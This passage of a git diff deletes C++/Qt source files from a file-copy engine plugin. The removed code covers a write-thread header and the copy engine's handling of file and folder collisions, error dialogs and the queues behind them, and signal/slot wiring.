- void fakeWriteIsStopped();
- /// do the checksum
- void startCheckSum();
- /// \brief set the current max speed in KB/s
- int setMaxSpeed(int maxSpeed);
- /// \brief For give timer every X ms
- void timeOfTheBlockCopyFinished();
- /// \brief set block size in KB
- bool setBlockSize(const int blockSize);
-public slots:
- /// \brief start the operation
- void postOperation();
- /// \brief flush buffer
- void flushBuffer();
- /// \brief set the end is detected
- void endIsDetected();
- /// \brief reopen the file
- void reopen();
- /// \brief flush and seek to zero
- void flushAndSeekToZero();
- /// do the checksum
- void checkSum();
-signals:
- void error();
- void opened();
- void reopened();
- void writeIsStarted();
- void writeIsStopped();
- void flushedAndSeekedToZero();
- void closed();
- void checksumFinish(const QByteArray&);
- //internal signals
- void internalStartOpen();
- void internalStartChecksum();
- void internalStartReopen();
- void internalStartWrite();
- void internalStartClose();
- void internalStartEndOfFile();
- void internalStartFlushAndSeekToZero();
- /// \brief To debug source
- void debugInformation(const DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne);
-private:
- QString name;
- QString errorString_internal;
- AvancedQFile file;
- volatile bool stopIt;
- volatile int blockSize;
- volatile int maxSpeed; ///< The max speed in KB/s, 0 for no limit
- QMutex accessList; ///< For use the list
- QSemaphore waitNewClockForSpeed;
- volatile int numberOfBlockCopied; ///< Multiple for count the number of block copied
- volatile int multiplicatorForBigSpeed; ///< Multiple for count the number of block needed
- volatile int MultiForBigSpeed;
- QSemaphore freeBlock;
- QSemaphore isOpen;
- volatile bool putInPause;
- QList<QByteArray> theBlockList; ///< Store the block list
- quint64 CurentCopiedSize;
- QByteArray blockArray; ///< temp data for block writing, the data
- qint64 bytesWriten; ///< temp data for block writing, the bytes writen
- qint64 lastGoodPosition;
- int id;
- bool endDetected;
- quint64 startSize;
- QSemaphore *mkpathTransfer;
- bool fakeMode;
- bool buffer;
- bool needRemoveTheFile;
-private slots:
- bool internalOpen();
- void internalWrite();
- void internalClose(bool emitSignal=true);
- void internalReopen();
- void internalEndOfFile();
- void internalFlushAndSeekToZero();
-};
-
-#endif // WRITETHREAD_H
diff --git a/plugins-alternative/CopyEngine/Rsync/copyEngine-collision-and-error.cpp b/plugins-alternative/CopyEngine/Rsync/copyEngine-collision-and-error.cpp
deleted file mode 100644
index 7ec07c2..0000000
--- a/plugins-alternative/CopyEngine/Rsync/copyEngine-collision-and-error.cpp
+++ /dev/null
@@ -1,565 +0,0 @@
-/** \file copyEngine.cpp
-\brief Define the copy engine
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QtCore>
-#include <QFileDialog>
-#include <QMessageBox>
-
-#include "copyEngine.h"
-#include "folderExistsDialog.h"
-
-/// \note Can be call without queue because all call will be serialized
-void copyEngine::fileAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,TransferThread * thread,bool isCalledByShowOneNewDialog)
-{
- if(stopIt)
- return;
- if(thread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to locate the thread");
- return;
- }
- //load the action
- if(isSame)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"file is same: "+source.absoluteFilePath());
- tempFileExistsAction=alwaysDoThisActionForFileExists;
- if(tempFileExistsAction==FileExists_Overwrite || tempFileExistsAction==FileExists_OverwriteIfNewer || tempFileExistsAction==FileExists_OverwriteIfNotSameModificationDate)
- tempFileExistsAction=FileExists_NotSet;
- switch(tempFileExistsAction)
- {
- case FileExists_Skip:
- case FileExists_Rename:
- thread->setFileExistsAction(tempFileExistsAction);
- break;
- default:
- if(dialogIsOpen)
- {
- alreadyExistsQueueItem newItem;
- newItem.source=source;
- newItem.destination=destination;
- newItem.isSame=isSame;
- newItem.transfer=thread;
- newItem.scan=NULL;
- alreadyExistsQueue << newItem;
- return;
- }
- dialogIsOpen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"show dialog");
- fileIsSameDialog dialog(interface,source,firstRenamingRule,otherRenamingRule);
- emit isInPause(true);
- dialog.exec();/// \bug crash when external close
- FileExistsAction newAction=dialog.getAction();
- emit isInPause(false);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"close dialog: "+QString::number(newAction));
- if(newAction==FileExists_Cancel)
- {
- emit cancelAll();
- return;
- }
- if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileExists)
- {
- alwaysDoThisActionForFileExists=newAction;
- listThread->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
- switch(newAction)
- {
- default:
- case FileExists_Skip:
- emit newCollisionAction("skip");
- break;
- case FileExists_Rename:
- emit newCollisionAction("rename");
- break;
- }
- }
- if(dialog.getAlways() || newAction!=FileExists_Rename)
- thread->setFileExistsAction(newAction);
- else
- thread->setFileRename(dialog.getNewName());
- dialogIsOpen=false;
- if(!isCalledByShowOneNewDialog)
- emit queryOneNewDialog();
- return;
- break;
- }
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"file already exists: "+source.absoluteFilePath()+", destination: "+destination.absoluteFilePath());
- tempFileExistsAction=alwaysDoThisActionForFileExists;
- switch(tempFileExistsAction)
- {
- case FileExists_Skip:
- case FileExists_Rename:
- case FileExists_Overwrite:
- case FileExists_OverwriteIfNewer:
- case FileExists_OverwriteIfNotSameModificationDate:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"always do this action: "+QString::number(tempFileExistsAction));
- thread->setFileExistsAction(tempFileExistsAction);
- break;
- default:
- if(dialogIsOpen)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("dialog open, put in queue: %1 %2")
- .arg(source.absoluteFilePath())
- .arg(destination.absoluteFilePath())
- );
- alreadyExistsQueueItem newItem;
- newItem.source=source;
- newItem.destination=destination;
- newItem.isSame=isSame;
- newItem.transfer=thread;
- newItem.scan=NULL;
- alreadyExistsQueue << newItem;
- return;
- }
- dialogIsOpen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"show dialog");
- fileExistsDialog dialog(interface,source,destination,firstRenamingRule,otherRenamingRule);
- emit isInPause(true);
- dialog.exec();/// \bug crash when external close
- FileExistsAction newAction=dialog.getAction();
- emit isInPause(false);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"close dialog: "+QString::number(newAction));
- if(newAction==FileExists_Cancel)
- {
- emit cancelAll();
- return;
- }
- if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileExists)
- {
- alwaysDoThisActionForFileExists=newAction;
- listThread->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
- switch(newAction)
- {
- default:
- case FileExists_Skip:
- emit newCollisionAction("skip");
- break;
- case FileExists_Rename:
- emit newCollisionAction("rename");
- break;
- case FileExists_Overwrite:
- emit newCollisionAction("overwrite");
- break;
- case FileExists_OverwriteIfNewer:
- emit newCollisionAction("overwriteIfNewer");
- break;
- case FileExists_OverwriteIfNotSameModificationDate:
- emit newCollisionAction("overwriteIfNotSameModificationDate");
- break;
- }
- }
- if(dialog.getAlways() || newAction!=FileExists_Rename)
- thread->setFileExistsAction(newAction);
- else
- thread->setFileRename(dialog.getNewName());
- dialogIsOpen=false;
- if(!isCalledByShowOneNewDialog)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"emit queryOneNewDialog()");
- emit queryOneNewDialog();
- }
- return;
- break;
- }
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-/// \note Can be call without queue because all call will be serialized
-void copyEngine::errorOnFile(QFileInfo fileInfo,QString errorString,TransferThread * thread,bool isCalledByShowOneNewDialog)
-{
- if(stopIt)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"file have error: "+fileInfo.absoluteFilePath()+", error: "+errorString);
- if(thread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to locate the thread");
- return;
- }
- //load the action
- tempFileErrorAction=alwaysDoThisActionForFileError;
- switch(tempFileErrorAction)
- {
- case FileError_Skip:
- thread->skip();
- return;
- case FileError_Retry:
- thread->retryAfterError();
- return;
- case FileError_PutToEndOfTheList:
- /// \todo do the read transfer locator and put at the end
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"todo list item not found");
- return;
- default:
- if(dialogIsOpen)
- {
- errorQueueItem newItem;
- newItem.errorString=errorString;
- newItem.inode=fileInfo;
- newItem.mkPath=false;
- newItem.rmPath=false;
- newItem.scan=NULL;
- newItem.transfer=thread;
- errorQueue << newItem;
- return;
- }
- dialogIsOpen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"show dialog");
- emit error(fileInfo.absoluteFilePath(),fileInfo.size(),fileInfo.lastModified(),errorString);
- fileErrorDialog dialog(interface,fileInfo,errorString);
- emit isInPause(true);
- dialog.exec();/// \bug crash when external close
- FileErrorAction newAction=dialog.getAction();
- emit isInPause(false);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"close dialog: "+QString::number(newAction));
- if(newAction==FileError_Cancel)
- {
- emit cancelAll();
- return;
- }
- if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
- {
- alwaysDoThisActionForFileError=newAction;
- switch(newAction)
- {
- default:
- case FileError_Skip:
- emit newErrorAction("skip");
- break;
- case FileError_PutToEndOfTheList:
- emit newErrorAction("putToEndOfTheList");
- break;
- }
- }
- switch(newAction)
- {
- case FileError_Skip:
- thread->skip();
- break;
- case FileError_Retry:
- thread->retryAfterError();
- break;
- case FileError_PutToEndOfTheList:
- thread->putAtBottom();
- /// \todo do the read transfer locator and put at the end
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"todo");
- break;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"file error action wrong");
- break;
- }
- dialogIsOpen=false;
- if(!isCalledByShowOneNewDialog)
- emit queryOneNewDialog();
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"isCalledByShowOneNewDialog==true then not show other dial");
- return;
- break;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-/// \note Can be call without queue because all call will be serialized
-void copyEngine::folderAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,scanFileOrFolder * thread,bool isCalledByShowOneNewDialog)
-{
- if(stopIt)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"folder already exists: "+source.absoluteFilePath()+", destination: "+destination.absoluteFilePath());
- if(thread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to locate the thread");
- return;
- }
- //load the always action
- tempFolderExistsAction=alwaysDoThisActionForFolderExists;
- switch(tempFolderExistsAction)
- {
- case FolderExists_Skip:
- case FolderExists_Rename:
- case FolderExists_Merge:
- thread->setFolderExistsAction(tempFolderExistsAction);
- break;
- default:
- if(dialogIsOpen)
- {
- alreadyExistsQueueItem newItem;
- newItem.source=source;
- newItem.destination=destination;
- newItem.isSame=isSame;
- newItem.transfer=NULL;
- newItem.scan=thread;
- alreadyExistsQueue << newItem;
- return;
- }
- dialogIsOpen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"show dialog");
- folderExistsDialog dialog(interface,source,isSame,destination,firstRenamingRule,otherRenamingRule);
- dialog.exec();/// \bug crash when external close
- FolderExistsAction newAction=dialog.getAction();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"close dialog: "+QString::number(newAction));
- if(newAction==FolderExists_Cancel)
- {
- emit cancelAll();
- return;
- }
- if(dialog.getAlways() && newAction!=alwaysDoThisActionForFolderExists)
- setComboBoxFolderColision(newAction);
- if(!dialog.getAlways() && newAction==FolderExists_Rename)
- thread->setFolderExistsAction(newAction,dialog.getNewName());
- else
- thread->setFolderExistsAction(newAction);
- dialogIsOpen=false;
- if(!isCalledByShowOneNewDialog)
- emit queryOneNewDialog();
- return;
- break;
- }
-}
-
-/// \note Can be call without queue because all call will be serialized
-/// \todo all this part
-void copyEngine::errorOnFolder(QFileInfo fileInfo,QString errorString,scanFileOrFolder * thread,bool isCalledByShowOneNewDialog)
-{
- if(stopIt)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"file have error: "+fileInfo.absoluteFilePath()+", error: "+errorString);
- if(thread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to locate the thread");
- return;
- }
- //load the always action
- tempFileErrorAction=alwaysDoThisActionForFolderError;
- switch(tempFileErrorAction)
- {
- case FileError_Skip:
- case FileError_Retry:
- case FileError_PutToEndOfTheList:
- thread->setFolderErrorAction(tempFileErrorAction);
- break;
- default:
- if(dialogIsOpen)
- {
- errorQueueItem newItem;
- newItem.errorString=errorString;
- newItem.inode=fileInfo;
- newItem.mkPath=false;
- newItem.rmPath=false;
- newItem.scan=thread;
- newItem.transfer=NULL;
- errorQueue << newItem;
- return;
- }
- dialogIsOpen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"show dialog");
- emit error(fileInfo.absoluteFilePath(),fileInfo.size(),fileInfo.lastModified(),errorString);
- fileErrorDialog dialog(interface,fileInfo,errorString);
- dialog.exec();/// \bug crash when external close
- FileErrorAction newAction=dialog.getAction();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"close dialog: "+QString::number(newAction));
- if(newAction==FileError_Cancel)
- {
- emit cancelAll();
- return;
- }
- if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
- setComboBoxFolderError(newAction);
- dialogIsOpen=false;
- thread->setFolderErrorAction(newAction);
- if(!isCalledByShowOneNewDialog)
- emit queryOneNewDialog();
- return;
- break;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-// -----------------------------------------------------
-
-//mkpath event
-void copyEngine::mkPathErrorOnFolder(QFileInfo folder,QString errorString,bool isCalledByShowOneNewDialog)
-{
- if(stopIt)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"file have error: "+folder.absoluteFilePath()+", error: "+errorString);
- //load the always action
- tempFileErrorAction=alwaysDoThisActionForFolderError;
- error_index=0;
- switch(tempFileErrorAction)
- {
- case FileError_Skip:
- listThread->mkPathQueue.skip();
- return;
- case FileError_Retry:
- listThread->mkPathQueue.retry();
- return;
- default:
- if(dialogIsOpen)
- {
- errorQueueItem newItem;
- newItem.errorString=errorString;
- newItem.inode=folder;
- newItem.mkPath=true;
- newItem.rmPath=false;
- newItem.scan=NULL;
- newItem.transfer=NULL;
- errorQueue << newItem;
- return;
- }
- dialogIsOpen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"show dialog");
- emit error(folder.absoluteFilePath(),folder.size(),folder.lastModified(),errorString);
- fileErrorDialog dialog(interface,folder,errorString,false);
- dialog.exec();/// \bug crash when external close
- FileErrorAction newAction=dialog.getAction();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"close dialog: "+QString::number(newAction));
- if(newAction==FileError_Cancel)
- {
- emit cancelAll();
- return;
- }
- if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
- {
- setComboBoxFolderError(newAction);
- alwaysDoThisActionForFolderError=newAction;
- }
- dialogIsOpen=false;
- switch(newAction)
- {
- case FileError_Skip:
- listThread->mkPathQueue.skip();
- break;
- case FileError_Retry:
- listThread->mkPathQueue.retry();
- break;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unknow switch case: "+QString::number(newAction));
- break;
- }
- if(!isCalledByShowOneNewDialog)
- emit queryOneNewDialog();
- return;
- break;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-//rmpath event
-void copyEngine::rmPathErrorOnFolder(QFileInfo folder,QString errorString,bool isCalledByShowOneNewDialog)
-{
- if(stopIt)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"file have error: "+folder.absoluteFilePath()+", error: "+errorString);
- //load the always action
- tempFileErrorAction=alwaysDoThisActionForFolderError;
- error_index=0;
- switch(tempFileErrorAction)
- {
- case FileError_Skip:
- listThread->rmPathQueue.skip();
- return;
- case FileError_Retry:
- listThread->rmPathQueue.retry();
- return;
- default:
- if(dialogIsOpen)
- {
- errorQueueItem newItem;
- newItem.errorString=errorString;
- newItem.inode=folder;
- newItem.mkPath=false;
- newItem.rmPath=true;
- newItem.scan=NULL;
- newItem.transfer=NULL;
- errorQueue << newItem;
- return;
- }
- dialogIsOpen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"show dialog");
- emit error(folder.absoluteFilePath(),folder.size(),folder.lastModified(),errorString);
- fileErrorDialog dialog(interface,folder,errorString,false);
- dialog.exec();/// \bug crash when external close
- FileErrorAction newAction=dialog.getAction();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"close dialog: "+QString::number(newAction));
- if(newAction==FileError_Cancel)
- {
- emit cancelAll();
- return;
- }
- if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
- {
- setComboBoxFolderError(newAction);
- alwaysDoThisActionForFolderError=newAction;
- }
- dialogIsOpen=false;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"do the action");
- switch(newAction)
- {
- case FileError_Skip:
- listThread->rmPathQueue.skip();
- break;
- case FileError_Retry:
- listThread->rmPathQueue.retry();
- break;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unknow switch case: "+QString::number(newAction));
- break;
- }
- if(!isCalledByShowOneNewDialog)
- emit queryOneNewDialog();
- return;
- break;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-//show one new dialog if needed
-void copyEngine::showOneNewDialog()
-{
- if(stopIt)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"alreadyExistsQueue.size(): "+QString::number(alreadyExistsQueue.size()));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"errorQueue.size(): "+QString::number(errorQueue.size()));
- loop_size=alreadyExistsQueue.size();
- while(loop_size>0)
- {
- if(alreadyExistsQueue.first().transfer!=NULL)
- {
- fileAlreadyExists(alreadyExistsQueue.first().source,
- alreadyExistsQueue.first().destination,
- alreadyExistsQueue.first().isSame,
- alreadyExistsQueue.first().transfer,
- true);
- }
- else if(alreadyExistsQueue.first().scan!=NULL)
- folderAlreadyExists(alreadyExistsQueue.first().source,
- alreadyExistsQueue.first().destination,
- alreadyExistsQueue.first().isSame,
- alreadyExistsQueue.first().scan,
- true);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"bug, no thread actived");
- alreadyExistsQueue.removeFirst();
- loop_size--;
- }
- loop_size=errorQueue.size();
- while(errorQueue.size()>0)
- {
- if(errorQueue.first().transfer!=NULL)
- errorOnFile(errorQueue.first().inode,errorQueue.first().errorString,errorQueue.first().transfer,true);
- else if(errorQueue.first().scan!=NULL)
- errorOnFolder(errorQueue.first().inode,errorQueue.first().errorString,errorQueue.first().scan,true);
- else if(errorQueue.first().mkPath)
- mkPathErrorOnFolder(errorQueue.first().inode,errorQueue.first().errorString,true);
- else if(errorQueue.first().rmPath)
- rmPathErrorOnFolder(errorQueue.first().inode,errorQueue.first().errorString,true);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"bug, no thread actived");
- errorQueue.removeFirst();
- loop_size--;
- }
-}
diff --git a/plugins-alternative/CopyEngine/Rsync/copyEngine.cpp b/plugins-alternative/CopyEngine/Rsync/copyEngine.cpp
deleted file mode 100755
index 1c17f8a..0000000
--- a/plugins-alternative/CopyEngine/Rsync/copyEngine.cpp
+++ /dev/null
@@ -1,819 +0,0 @@
-/** \file copyEngine.cpp
-\brief Define the copy engine
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QtCore>
-#include <QFileDialog>
-#include <QMessageBox>
-
-#include "copyEngine.h"
-#include "folderExistsDialog.h"
-#include "../../../interface/PluginInterface_CopyEngine.h"
-
-copyEngine::copyEngine(FacilityInterface * facilityEngine) :
- ui(new Ui::options())
-{
- listThread=new ListThread(facilityEngine);
- this->facilityEngine=facilityEngine;
- filters=NULL;
- renamingRules=NULL;
- qRegisterMetaType<TransferThread *>("TransferThread *");
- qRegisterMetaType<scanFileOrFolder *>("scanFileOrFolder *");
- qRegisterMetaType<EngineActionInProgress>("EngineActionInProgress");
- qRegisterMetaType<DebugLevel>("DebugLevel");
- qRegisterMetaType<FileExistsAction>("FileExistsAction");
- qRegisterMetaType<FolderExistsAction>("FolderExistsAction");
- qRegisterMetaType<QList<Filters_rules> >("QList<Filters_rules>");
- qRegisterMetaType<QList<int> >("QList<int>");
- qRegisterMetaType<CopyMode>("CopyMode");
- qRegisterMetaType<QList<returnActionOnCopyList> >("QList<returnActionOnCopyList>");
- qRegisterMetaType<QList<ProgressionItem> >("QList<ProgressionItem>");
-
- interface = NULL;
- tempWidget = NULL;
- uiIsInstalled = false;
- dialogIsOpen = false;
- maxSpeed = 0;
- alwaysDoThisActionForFileExists = FileExists_NotSet;
- alwaysDoThisActionForFileError = FileError_NotSet;
- checkDestinationFolderExists = false;
- stopIt = false;
- size_for_speed = 0;
- forcedMode = false;
-
- //implement the SingleShot in this class
- //timerActionDone.setSingleShot(true);
- timerActionDone.setInterval(ULTRACOPIER_PLUGIN_TIME_UPDATE_TRASNFER_LIST);
- //timerProgression.setSingleShot(true);
- timerProgression.setInterval(ULTRACOPIER_PLUGIN_TIME_UPDATE_PROGRESSION);
-
-}
-
-copyEngine::~copyEngine()
-{
- /*if(filters!=NULL)
- delete filters;
- if(renamingRules!=NULL)
- delete renamingRules;
- destroyed by the widget parent, here the interface
- */
- stopIt=true;
- delete listThread;
- delete ui;
-}
-
-void copyEngine::connectTheSignalsSlots()
-{
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- debugDialogWindow.show();
- #endif
- if(!connect(listThread,SIGNAL(actionInProgess(EngineActionInProgress)), this,SIGNAL(actionInProgess(EngineActionInProgress)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect actionInProgess()");
- if(!connect(listThread,SIGNAL(actionInProgess(EngineActionInProgress)), this,SLOT(newActionInProgess(EngineActionInProgress)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect actionInProgess() to slot");
- if(!connect(listThread,SIGNAL(newFolderListing(QString)), this,SIGNAL(newFolderListing(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect newFolderListing()");
- if(!connect(listThread,SIGNAL(newCollisionAction(QString)), this,SIGNAL(newCollisionAction(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect newCollisionAction()");
- if(!connect(listThread,SIGNAL(newErrorAction(QString)), this,SIGNAL(newErrorAction(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect newErrorAction()");
- if(!connect(listThread,SIGNAL(isInPause(bool)), this,SIGNAL(isInPause(bool)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect isInPause()");
- if(!connect(listThread,SIGNAL(error(QString,quint64,QDateTime,QString)), this,SIGNAL(error(QString,quint64,QDateTime,QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect error()");
- if(!connect(listThread,SIGNAL(rmPath(QString)), this,SIGNAL(rmPath(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect rmPath()");
- if(!connect(listThread,SIGNAL(mkPath(QString)), this,SIGNAL(mkPath(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect mkPath()");
- if(!connect(listThread,SIGNAL(newActionOnList(QList<returnActionOnCopyList>)), this,SIGNAL(newActionOnList(QList<returnActionOnCopyList>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect newActionOnList()");
- if(!connect(listThread,SIGNAL(pushFileProgression(QList<ProgressionItem>)), this,SIGNAL(pushFileProgression(QList<ProgressionItem>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect pushFileProgression()");
- if(!connect(listThread,SIGNAL(pushGeneralProgression(quint64,quint64)), this,SIGNAL(pushGeneralProgression(quint64,quint64)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect pushGeneralProgression()");
- if(!connect(listThread,SIGNAL(syncReady()), this,SIGNAL(syncReady()), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect syncReady()");
- if(!connect(listThread,SIGNAL(canBeDeleted()), this,SIGNAL(canBeDeleted()), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect canBeDeleted()");
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- if(!connect(listThread,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect debugInformation()");
- #endif
-
- if(!connect(listThread,SIGNAL(send_fileAlreadyExists(QFileInfo,QFileInfo,bool,TransferThread *)), this,SLOT(fileAlreadyExists(QFileInfo,QFileInfo,bool,TransferThread *)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_fileAlreadyExists()");
- if(!connect(listThread,SIGNAL(send_errorOnFile(QFileInfo,QString,TransferThread *)), this,SLOT(errorOnFile(QFileInfo,QString,TransferThread *)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_errorOnFile()");
- if(!connect(listThread,SIGNAL(send_folderAlreadyExists(QFileInfo,QFileInfo,bool,scanFileOrFolder *)), this,SLOT(folderAlreadyExists(QFileInfo,QFileInfo,bool,scanFileOrFolder *)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_folderAlreadyExists()");
- if(!connect(listThread,SIGNAL(send_errorOnFolder(QFileInfo,QString,scanFileOrFolder *)), this,SLOT(errorOnFolder(QFileInfo,QString,scanFileOrFolder *)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_errorOnFolder()");
- if(!connect(listThread,SIGNAL(updateTheDebugInfo(QStringList,QStringList,int)), this,SLOT(updateTheDebugInfo(QStringList,QStringList,int)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect updateTheDebugInfo()");
- if(!connect(listThread,SIGNAL(errorTransferList(QString)), this,SLOT(errorTransferList(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect errorTransferList()");
- if(!connect(listThread,SIGNAL(warningTransferList(QString)), this,SLOT(warningTransferList(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect warningTransferList()");
- if(!connect(listThread,SIGNAL(mkPathErrorOnFolder(QFileInfo,QString)), this,SLOT(mkPathErrorOnFolder(QFileInfo,QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect mkPathErrorOnFolder()");
- if(!connect(listThread,SIGNAL(rmPathErrorOnFolder(QFileInfo,QString)), this,SLOT(rmPathErrorOnFolder(QFileInfo,QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect rmPathErrorOnFolder()");
- if(!connect(listThread,SIGNAL(send_realBytesTransfered(quint64)), this,SLOT(get_realBytesTransfered(quint64)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_realBytesTransfered()");
-
- if(!connect(this,SIGNAL(tryCancel()), listThread,SIGNAL(tryCancel()), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect tryCancel()");
- if(!connect(this,SIGNAL(signal_pause()), listThread,SLOT(pause()), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_pause()");
- if(!connect(this,SIGNAL(signal_resume()), listThread,SLOT(resume()), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_resume()");
- if(!connect(this,SIGNAL(signal_skip(quint64)), listThread,SLOT(skip(quint64)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_skip()");
- if(!connect(this,SIGNAL(signal_setCollisionAction(FileExistsAction)), listThread,SLOT(setAlwaysFileExistsAction(FileExistsAction)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_setCollisionAction()");
- if(!connect(this,SIGNAL(signal_setFolderColision(FolderExistsAction)), listThread,SLOT(setFolderColision(FolderExistsAction)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_setFolderColision()");
